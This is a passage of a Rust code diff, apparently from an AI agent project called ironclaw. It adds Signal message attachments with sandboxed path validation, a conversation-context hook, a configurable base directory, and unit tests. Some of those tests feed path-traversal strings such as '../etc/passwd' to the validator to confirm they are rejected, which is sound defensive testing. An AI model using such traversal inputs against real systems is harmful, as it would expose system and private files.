assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present"); assert!(onboard.is_some(), "ONBOARD_COMPLETED must be present");
assert_eq!(onboard.unwrap().1, "true"); assert_eq!(onboard.unwrap().1, "true");
} }
#[test]
fn test_libsql_autodetect_sets_backend_when_db_exists() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
// No DB file — auto-detect guard should not trigger.
assert!(!db_path.exists());
let would_trigger = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_trigger,
"should not auto-detect when db file is absent"
);
// Create the DB file — guard should now trigger.
std::fs::write(&db_path, "").unwrap();
assert!(db_path.exists());
// Simulate the detection logic (DATABASE_BACKEND unset + db exists).
let detected = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
detected,
"should detect libsql when db file is present and backend unset"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
}
}
// === QA Plan P1 - 1.2: Bootstrap .env round-trip tests ===
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Simulate what the wizard writes for LLM backend selection
let vars = [
("DATABASE_BACKEND", "libsql"),
("LLM_BACKEND", "openai"),
("ONBOARD_COMPLETED", "true"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
// Verify dotenvy parses LLM_BACKEND correctly
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
let llm_backend = parsed.iter().find(|(k, _)| k == "LLM_BACKEND");
assert!(llm_backend.is_some(), "LLM_BACKEND must be present");
assert_eq!(
llm_backend.unwrap().1,
"openai",
"LLM_BACKEND must survive .env round-trip"
);
}
#[test]
fn test_libsql_autodetect_does_not_override_explicit_backend() {
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("DATABASE_BACKEND").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", "postgres") };
let dir = tempdir().unwrap();
let db_path = dir.path().join("ironclaw.db");
std::fs::write(&db_path, "").unwrap();
// The guard: only sets libsql if DATABASE_BACKEND is NOT already set.
let would_override = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
assert!(
!would_override,
"must not override an explicitly set DATABASE_BACKEND"
);
// Restore.
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("DATABASE_BACKEND") };
}
}
#[test]
fn bootstrap_env_special_chars_in_url() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// URLs with special characters that are common in database passwords
let url = "postgres://user:p%23ss@host:5432/db?sslmode=require";
let escaped = url.replace('\\', "\\\\").replace('"', "\\\"");
let content = format!("DATABASE_URL=\"{}\"\n", escaped);
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 1);
assert_eq!(parsed[0].1, url, "URL with special chars must survive");
}
#[test]
fn upsert_bootstrap_var_preserves_existing() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Write initial content
let initial = "DATABASE_BACKEND=\"libsql\"\nONBOARD_COMPLETED=\"true\"\n";
std::fs::write(&env_path, initial).unwrap();
// Upsert a new var
let content = std::fs::read_to_string(&env_path).unwrap();
let new_line = "LLM_BACKEND=\"anthropic\"";
let mut result = content.clone();
result.push_str(new_line);
result.push('\n');
std::fs::write(&env_path, &result).unwrap();
// Parse and verify all three vars are present
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), 3, "should have 3 vars after upsert");
assert!(
parsed
.iter()
.any(|(k, v)| k == "DATABASE_BACKEND" && v == "libsql"),
"original DATABASE_BACKEND must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "ONBOARD_COMPLETED" && v == "true"),
"original ONBOARD_COMPLETED must be preserved"
);
assert!(
parsed
.iter()
.any(|(k, v)| k == "LLM_BACKEND" && v == "anthropic"),
"new LLM_BACKEND must be present"
);
}
#[test]
fn bootstrap_env_all_wizard_vars_round_trip() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
// Full set of vars the wizard might write
let vars = [
("DATABASE_BACKEND", "postgres"),
("DATABASE_URL", "postgres://u:p@h:5432/db"),
("LLM_BACKEND", "nearai"),
("ONBOARD_COMPLETED", "true"),
("EMBEDDING_ENABLED", "false"),
];
let mut content = String::new();
for (key, value) in &vars {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
}
std::fs::write(&env_path, &content).unwrap();
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
.unwrap()
.filter_map(|r| r.ok())
.collect();
assert_eq!(parsed.len(), vars.len(), "all vars must survive round-trip");
for (key, value) in &vars {
let found = parsed.iter().find(|(k, _)| k == key);
assert!(found.is_some(), "{key} must be present");
assert_eq!(&found.unwrap().1, value, "{key} value mismatch");
}
}
#[test]
fn test_ironclaw_base_dir_default() {
// This test must run first (or in isolation) before the LazyLock is initialized.
// It verifies that when IRONCLAW_BASE_DIR is not set, the default path is used.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
}
}
#[test]
fn test_ironclaw_base_dir_env_override() {
// This test verifies that when IRONCLAW_BASE_DIR is set,
// the custom path is used. Must run before LazyLock is initialized.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/custom/ironclaw/path") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(path, std::path::PathBuf::from("/custom/ironclaw/path"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_compute_base_dir_env_path_join() {
// Verifies that ironclaw_env_path correctly joins .env to the base dir.
// Uses compute_ironclaw_base_dir directly to avoid LazyLock caching.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/my/custom/dir") };
// Test the path construction logic directly
let base_path = compute_ironclaw_base_dir();
let env_path = base_path.join(".env");
assert_eq!(env_path, std::path::PathBuf::from("/my/custom/dir/.env"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_empty_env() {
// Verifies that empty IRONCLAW_BASE_DIR falls back to default.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
assert_eq!(path, home.join(".ironclaw"));
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
#[test]
fn test_ironclaw_base_dir_special_chars() {
// Verifies that paths with special characters are handled correctly.
let _guard = ENV_MUTEX.lock().unwrap();
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/tmp/test_with-special.chars") };
// Force re-evaluation by calling the computation function directly
let path = compute_ironclaw_base_dir();
assert_eq!(
path,
std::path::PathBuf::from("/tmp/test_with-special.chars")
);
if let Some(val) = old_val {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
} else {
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
}
}
} }
+20
View File
@@ -1,5 +1,6 @@
//! Channel trait and message types. //! Channel trait and message types.
use std::collections::HashMap;
use std::pin::Pin; use std::pin::Pin;
use async_trait::async_trait; use async_trait::async_trait;
@@ -78,6 +79,8 @@ pub struct OutgoingResponse {
pub content: String, pub content: String,
/// Optional thread ID to reply in. /// Optional thread ID to reply in.
pub thread_id: Option<String>, pub thread_id: Option<String>,
/// Optional file paths to attach.
pub attachments: Vec<String>,
/// Channel-specific metadata for the response. /// Channel-specific metadata for the response.
pub metadata: serde_json::Value, pub metadata: serde_json::Value,
} }
@@ -88,6 +91,7 @@ impl OutgoingResponse {
Self { Self {
content: content.into(), content: content.into(),
thread_id: None, thread_id: None,
attachments: Vec::new(),
metadata: serde_json::Value::Null, metadata: serde_json::Value::Null,
} }
} }
@@ -97,6 +101,12 @@ impl OutgoingResponse {
self.thread_id = Some(thread_id.into()); self.thread_id = Some(thread_id.into());
self self
} }
/// Add attachments to the response.
pub fn with_attachments(mut self, paths: Vec<String>) -> Self {
self.attachments = paths;
self
}
} }
/// Status update types for showing agent activity. /// Status update types for showing agent activity.
@@ -198,6 +208,16 @@ pub trait Channel: Send + Sync {
/// Check if the channel is healthy. /// Check if the channel is healthy.
async fn health_check(&self) -> Result<(), ChannelError>; async fn health_check(&self) -> Result<(), ChannelError>;
/// Get conversation context from message metadata for system prompt.
///
/// Returns key-value pairs like "sender", "sender_uuid", "group" that
/// help the LLM understand who it's talking to.
///
/// Default implementation returns empty map.
fn conversation_context(&self, _metadata: &serde_json::Value) -> HashMap<String, String> {
HashMap::new()
}
/// Gracefully shut down the channel. /// Gracefully shut down the channel.
async fn shutdown(&self) -> Result<(), ChannelError> { async fn shutdown(&self) -> Result<(), ChannelError> {
Ok(()) Ok(())
+14 -3
View File
@@ -14,7 +14,7 @@ use crate::error::ChannelError;
/// Includes an injection channel so background tasks (e.g., job monitors) can /// Includes an injection channel so background tasks (e.g., job monitors) can
/// push messages into the agent loop without being a full `Channel` impl. /// push messages into the agent loop without being a full `Channel` impl.
pub struct ChannelManager { pub struct ChannelManager {
channels: Arc<RwLock<HashMap<String, Box<dyn Channel>>>>, channels: Arc<RwLock<HashMap<String, Arc<dyn Channel>>>>,
inject_tx: mpsc::Sender<IncomingMessage>, inject_tx: mpsc::Sender<IncomingMessage>,
/// Taken once in `start_all()` and merged into the stream. /// Taken once in `start_all()` and merged into the stream.
inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>, inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
@@ -42,7 +42,10 @@ impl ChannelManager {
/// Add a channel to the manager. /// Add a channel to the manager.
pub async fn add(&self, channel: Box<dyn Channel>) { pub async fn add(&self, channel: Box<dyn Channel>) {
let name = channel.name().to_string(); let name = channel.name().to_string();
self.channels.write().await.insert(name.clone(), channel); self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
tracing::debug!("Added channel: {}", name); tracing::debug!("Added channel: {}", name);
} }
@@ -56,7 +59,10 @@ impl ChannelManager {
let stream = channel.start().await?; let stream = channel.start().await?;
// Register for respond/broadcast/send_status // Register for respond/broadcast/send_status
self.channels.write().await.insert(name.clone(), channel); self.channels
.write()
.await
.insert(name.clone(), Arc::from(channel));
// Forward stream messages through inject_tx // Forward stream messages through inject_tx
let tx = self.inject_tx.clone(); let tx = self.inject_tx.clone();
@@ -217,6 +223,11 @@ impl ChannelManager {
pub async fn channel_names(&self) -> Vec<String> { pub async fn channel_names(&self) -> Vec<String> {
self.channels.read().await.keys().cloned().collect() self.channels.read().await.keys().cloned().collect()
} }
/// Get a channel by name.
pub async fn get_channel(&self, name: &str) -> Option<Arc<dyn Channel>> {
self.channels.read().await.get(name).cloned()
}
} }
impl Default for ChannelManager { impl Default for ChannelManager {
+2 -4
View File
@@ -38,6 +38,7 @@ use tokio::sync::mpsc;
use tokio_stream::wrappers::ReceiverStream; use tokio_stream::wrappers::ReceiverStream;
use crate::agent::truncate_for_preview; use crate::agent::truncate_for_preview;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate}; use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use crate::error::ChannelError; use crate::error::ChannelError;
@@ -279,10 +280,7 @@ fn print_help() {
/// Get the history file path (~/.ironclaw/history). /// Get the history file path (~/.ironclaw/history).
fn history_path() -> std::path::PathBuf { fn history_path() -> std::path::PathBuf {
dirs::home_dir() ironclaw_base_dir().join("history")
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("history")
} }
#[async_trait] #[async_trait]
+328 -15
View File
@@ -17,6 +17,7 @@ use serde::Deserialize;
use tokio::sync::RwLock; use tokio::sync::RwLock;
use uuid::Uuid; use uuid::Uuid;
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate}; use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use crate::config::SignalConfig; use crate::config::SignalConfig;
use crate::error::ChannelError; use crate::error::ChannelError;
@@ -244,7 +245,7 @@ impl SignalChannel {
.map_err(|e| ChannelError::Http(e.to_string()))?; .map_err(|e| ChannelError::Http(e.to_string()))?;
let target = Self::parse_recipient_target(recipient); let target = Self::parse_recipient_target(recipient);
let params = Self::build_rpc_params_static(http_url, account, &target, Some(message)); let params = Self::build_rpc_params_static(http_url, account, &target, Some(message), None);
let url = format!("{}/api/v1/rpc", http_url); let url = format!("{}/api/v1/rpc", http_url);
let id = Uuid::new_v4().to_string(); let id = Uuid::new_v4().to_string();
@@ -504,6 +505,7 @@ impl SignalChannel {
&self, &self,
target: &RecipientTarget, target: &RecipientTarget,
message: Option<&str>, message: Option<&str>,
attachments: Option<&[String]>,
) -> serde_json::Value { ) -> serde_json::Value {
match target { match target {
RecipientTarget::Direct(id) => { RecipientTarget::Direct(id) => {
@@ -514,6 +516,16 @@ impl SignalChannel {
if let Some(msg) = message { if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string()); params["message"] = serde_json::Value::String(msg.to_string());
} }
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params params
} }
RecipientTarget::Group(group_id) => { RecipientTarget::Group(group_id) => {
@@ -524,17 +536,76 @@ impl SignalChannel {
if let Some(msg) = message { if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string()); params["message"] = serde_json::Value::String(msg.to_string());
} }
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params params
} }
} }
} }
/// Validate that attachment paths are safe and within the sandbox.
/// Uses the shared path validation logic from path_utils to ensure:
/// - No path traversal attacks (../, URL-encoded, null bytes)
/// - Paths are canonicalized and symlinks resolved
/// - All paths are within ~/.ironclaw/ sandbox
fn validate_attachment_paths(paths: &[String]) -> Result<(), ChannelError> {
// Get the sandbox base directory (same as MessageTool uses)
let base_dir = ironclaw_base_dir();
for path in paths {
crate::tools::builtin::path_utils::validate_path(path, Some(&base_dir)).map_err(
|e| {
ChannelError::InvalidMessage(format!(
"Attachment path must be within {}: {}",
base_dir.display(),
e
))
},
)?;
}
Ok(())
}
/// Send a message with attachments (if any).
/// Combines text and attachments into a single RPC call when both are present.
async fn send_with_attachments(
&self,
target: &RecipientTarget,
content: &str,
attachments: &[String],
) -> Result<(), ChannelError> {
Self::validate_attachment_paths(attachments)?;
if attachments.is_empty() {
let params = self.build_rpc_params(target, Some(content), None);
self.rpc_request("send", params).await?;
} else if content.is_empty() {
// Attachments only - send all in a single call with no message text
let params = self.build_rpc_params(target, None, Some(attachments));
self.rpc_request("send", params).await?;
} else {
// Both text and attachments - send in a single RPC call
let params = self.build_rpc_params(target, Some(content), Some(attachments));
self.rpc_request("send", params).await?;
}
Ok(())
}
/// Build JSON-RPC params for a send/typing call (static version). /// Build JSON-RPC params for a send/typing call (static version).
fn build_rpc_params_static( fn build_rpc_params_static(
_http_url: &str, _http_url: &str,
account: &str, account: &str,
target: &RecipientTarget, target: &RecipientTarget,
message: Option<&str>, message: Option<&str>,
attachments: Option<&[String]>,
) -> serde_json::Value { ) -> serde_json::Value {
match target { match target {
RecipientTarget::Direct(id) => { RecipientTarget::Direct(id) => {
@@ -545,6 +616,16 @@ impl SignalChannel {
if let Some(msg) = message { if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string()); params["message"] = serde_json::Value::String(msg.to_string());
} }
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params params
} }
RecipientTarget::Group(group_id) => { RecipientTarget::Group(group_id) => {
@@ -555,6 +636,16 @@ impl SignalChannel {
if let Some(msg) = message { if let Some(msg) = message {
params["message"] = serde_json::Value::String(msg.to_string()); params["message"] = serde_json::Value::String(msg.to_string());
} }
if let Some(attachments) = attachments
&& !attachments.is_empty()
{
params["attachments"] = serde_json::Value::Array(
attachments
.iter()
.map(|s| serde_json::Value::String(s.clone()))
.collect(),
);
}
params params
} }
} }
@@ -706,8 +797,10 @@ impl SignalChannel {
}); });
// Build metadata with signal-specific routing info. // Build metadata with signal-specific routing info.
let sender_uuid = envelope.source_uuid.as_deref();
let metadata = serde_json::json!({ let metadata = serde_json::json!({
"signal_sender": &sender, "signal_sender": &sender,
"signal_sender_uuid": sender_uuid,
"signal_target": &target, "signal_target": &target,
"signal_timestamp": timestamp, "signal_timestamp": timestamp,
}); });
@@ -790,13 +883,16 @@ impl Channel for SignalChannel {
.unwrap_or_else(|| msg.user_id.clone()); .unwrap_or_else(|| msg.user_id.clone());
let target = Self::parse_recipient_target(&target_str); let target = Self::parse_recipient_target(&target_str);
let params = self.build_rpc_params(&target, Some(&response.content));
self.rpc_request("send", params).await?;
// Clean up stored target. // Use shared helper for sending with attachments (includes validation)
let result = self
.send_with_attachments(&target, &response.content, &response.attachments)
.await;
// Clean up stored target regardless of success or failure.
self.reply_targets.write().await.pop(&msg.id); self.reply_targets.write().await.pop(&msg.id);
Ok(()) result
} }
async fn send_status( async fn send_status(
@@ -809,7 +905,7 @@ impl Channel for SignalChannel {
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str()) && let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
{ {
let target = Self::parse_recipient_target(target_str); let target = Self::parse_recipient_target(target_str);
let params = self.build_rpc_params(&target, None); let params = self.build_rpc_params(&target, None, None);
let _ = self.rpc_request("sendTyping", params).await; let _ = self.rpc_request("sendTyping", params).await;
} }
@@ -957,9 +1053,10 @@ impl Channel for SignalChannel {
response: OutgoingResponse, response: OutgoingResponse,
) -> Result<(), ChannelError> { ) -> Result<(), ChannelError> {
let target = Self::parse_recipient_target(user_id); let target = Self::parse_recipient_target(user_id);
let params = self.build_rpc_params(&target, Some(&response.content));
self.rpc_request("send", params).await?; // Use shared helper for sending with attachments (includes validation)
Ok(()) self.send_with_attachments(&target, &response.content, &response.attachments)
.await
} }
async fn health_check(&self) -> Result<(), ChannelError> { async fn health_check(&self) -> Result<(), ChannelError> {
@@ -982,12 +1079,34 @@ impl Channel for SignalChannel {
}) })
} }
} }
fn conversation_context(
&self,
metadata: &serde_json::Value,
) -> std::collections::HashMap<String, String> {
use std::collections::HashMap;
let mut ctx = HashMap::new();
if let Some(sender) = metadata.get("signal_sender").and_then(|v| v.as_str()) {
ctx.insert("sender".to_string(), sender.to_string());
}
if let Some(sender_uuid) = metadata.get("signal_sender_uuid").and_then(|v| v.as_str()) {
ctx.insert("sender_uuid".to_string(), sender_uuid.to_string());
}
if let Some(target) = metadata.get("signal_target").and_then(|v| v.as_str())
&& target.starts_with("group:")
{
ctx.insert("group".to_string(), target.to_string());
}
ctx
}
} }
impl SignalChannel { impl SignalChannel {
async fn send_status_message(&self, target: &str, message: &str) { async fn send_status_message(&self, target: &str, message: &str) {
let target = Self::parse_recipient_target(target); let target = Self::parse_recipient_target(target);
let params = self.build_rpc_params(&target, Some(message)); let params = self.build_rpc_params(&target, Some(message), None);
if let Err(e) = self.rpc_request("send", params).await { if let Err(e) = self.rpc_request("send", params).await {
tracing::warn!("Signal: failed to send status message: {}", e); tracing::warn!("Signal: failed to send status message: {}", e);
} }
@@ -1187,6 +1306,7 @@ async fn sse_listener(
let reply_params = channel.build_rpc_params( let reply_params = channel.build_rpc_params(
&SignalChannel::parse_recipient_target(&target), &SignalChannel::parse_recipient_target(&target),
Some(response), Some(response),
None,
); );
let _ = channel.rpc_request("send", reply_params).await; let _ = channel.rpc_request("send", reply_params).await;
// Don't send the /debug command to the agent. // Don't send the /debug command to the agent.
@@ -1925,7 +2045,7 @@ mod tests {
fn build_rpc_params_direct_with_message() -> Result<(), ChannelError> { fn build_rpc_params_direct_with_message() -> Result<(), ChannelError> {
let ch = make_channel()?; let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string()); let target = RecipientTarget::Direct("+5555555555".to_string());
let params = ch.build_rpc_params(&target, Some("Hello!")); let params = ch.build_rpc_params(&target, Some("Hello!"), None);
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"])); assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
assert_eq!(params["account"], "+1234567890"); assert_eq!(params["account"], "+1234567890");
assert_eq!(params["message"], "Hello!"); assert_eq!(params["message"], "Hello!");
@@ -1938,7 +2058,7 @@ mod tests {
fn build_rpc_params_direct_without_message() -> Result<(), ChannelError> { fn build_rpc_params_direct_without_message() -> Result<(), ChannelError> {
let ch = make_channel()?; let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string()); let target = RecipientTarget::Direct("+5555555555".to_string());
let params = ch.build_rpc_params(&target, None); let params = ch.build_rpc_params(&target, None, None);
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"])); assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
assert_eq!(params["account"], "+1234567890"); assert_eq!(params["account"], "+1234567890");
// No message key should be present for typing indicators. // No message key should be present for typing indicators.
@@ -1950,7 +2070,7 @@ mod tests {
fn build_rpc_params_group_with_message() -> Result<(), ChannelError> { fn build_rpc_params_group_with_message() -> Result<(), ChannelError> {
let ch = make_channel()?; let ch = make_channel()?;
let target = RecipientTarget::Group("abc123".to_string()); let target = RecipientTarget::Group("abc123".to_string());
let params = ch.build_rpc_params(&target, Some("Group msg")); let params = ch.build_rpc_params(&target, Some("Group msg"), None);
assert_eq!(params["groupId"], "abc123"); assert_eq!(params["groupId"], "abc123");
assert_eq!(params["account"], "+1234567890"); assert_eq!(params["account"], "+1234567890");
assert_eq!(params["message"], "Group msg"); assert_eq!(params["message"], "Group msg");
@@ -1963,7 +2083,7 @@ mod tests {
fn build_rpc_params_group_without_message() -> Result<(), ChannelError> { fn build_rpc_params_group_without_message() -> Result<(), ChannelError> {
let ch = make_channel()?; let ch = make_channel()?;
let target = RecipientTarget::Group("abc123".to_string()); let target = RecipientTarget::Group("abc123".to_string());
let params = ch.build_rpc_params(&target, None); let params = ch.build_rpc_params(&target, None, None);
assert_eq!(params["groupId"], "abc123"); assert_eq!(params["groupId"], "abc123");
assert_eq!(params["account"], "+1234567890"); assert_eq!(params["account"], "+1234567890");
assert!(params.get("message").is_none()); assert!(params.get("message").is_none());
@@ -1975,11 +2095,94 @@ mod tests {
let ch = make_channel()?; let ch = make_channel()?;
let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
let target = RecipientTarget::Direct(uuid.to_string()); let target = RecipientTarget::Direct(uuid.to_string());
let params = ch.build_rpc_params(&target, Some("hi")); let params = ch.build_rpc_params(&target, Some("hi"), None);
assert_eq!(params["recipient"], serde_json::json!([uuid])); assert_eq!(params["recipient"], serde_json::json!([uuid]));
Ok(()) Ok(())
} }
// ── build_rpc_params with attachments tests ─────────────────────────
#[test]
fn build_rpc_params_with_attachments() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let attachments = vec!["/path/to/image.png".to_string()];
let params = ch.build_rpc_params(&target, Some("Check this!"), Some(&attachments));
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
assert_eq!(params["message"], "Check this!");
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/image.png"])
);
Ok(())
}
#[test]
fn build_rpc_params_with_multiple_attachments() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let attachments = vec![
"/path/to/image.png".to_string(),
"/path/to/document.pdf".to_string(),
];
let params = ch.build_rpc_params(&target, Some("Files attached"), Some(&attachments));
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/image.png", "/path/to/document.pdf"])
);
Ok(())
}
#[test]
fn build_rpc_params_with_attachments_no_message() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Direct("+5555555555".to_string());
let attachments = vec!["/path/to/image.png".to_string()];
let params = ch.build_rpc_params(&target, None, Some(&attachments));
assert!(params.get("message").is_none());
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/image.png"])
);
Ok(())
}
#[test]
fn build_rpc_params_group_with_attachments() -> Result<(), ChannelError> {
let ch = make_channel()?;
let target = RecipientTarget::Group("abc123".to_string());
let attachments = vec!["/path/to/photo.jpg".to_string()];
let params = ch.build_rpc_params(&target, Some("Group photo"), Some(&attachments));
assert_eq!(params["groupId"], "abc123");
assert_eq!(params["message"], "Group photo");
assert_eq!(
params["attachments"],
serde_json::json!(["/path/to/photo.jpg"])
);
Ok(())
}
// ── OutgoingResponse attachment tests ─────────────────────────────
#[test]
fn outgoing_response_with_attachments() {
let response = OutgoingResponse::text("Hello with file")
.with_attachments(vec!["/path/to/file.png".to_string()]);
assert_eq!(response.content, "Hello with file");
assert!(
response
.attachments
.contains(&"/path/to/file.png".to_string())
);
}
#[test]
fn outgoing_response_text_empty_attachments() {
let response = OutgoingResponse::text("Hello");
assert_eq!(response.content, "Hello");
assert!(response.attachments.is_empty());
}
// ── metadata assertion tests ──────────────────────────────────── // ── metadata assertion tests ────────────────────────────────────
#[test] #[test]
@@ -2450,4 +2653,114 @@ mod tests {
assert_eq!(ch.config.http_url, "http://127.0.0.1:8686"); assert_eq!(ch.config.http_url, "http://127.0.0.1:8686");
Ok(()) Ok(())
} }
// ── attachment path validation ───────────────────────────────────
#[test]
fn validate_attachment_paths_rejects_double_dot() {
let paths = vec!["../etc/passwd".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
let err = result.unwrap_err().to_string();
assert!(err.contains("forbidden") || err.contains("sandbox"));
}
#[test]
fn validate_attachment_paths_accepts_normal_paths() {
use std::fs;
// Create test files in sandbox
let base_dir = crate::bootstrap::ironclaw_base_dir();
// Create sandbox directory if it doesn't exist (needed for CI)
let _ = fs::create_dir_all(&base_dir);
let temp_dir = tempfile::tempdir_in(&base_dir).unwrap();
let file1 = temp_dir.path().join("file.txt");
let file2 = temp_dir.path().join("report.pdf");
fs::write(&file1, "test").unwrap();
fs::write(&file2, "test").unwrap();
let paths = vec![
file1.to_string_lossy().to_string(),
file2.to_string_lossy().to_string(),
];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_ok());
}
#[test]
fn validate_attachment_paths_rejects_nested_traversal() {
let paths = vec!["foo/../bar/../../secret.txt".to_string()];
let result = SignalChannel::validate_attachment_paths(&paths);
assert!(result.is_err());
}
#[test]
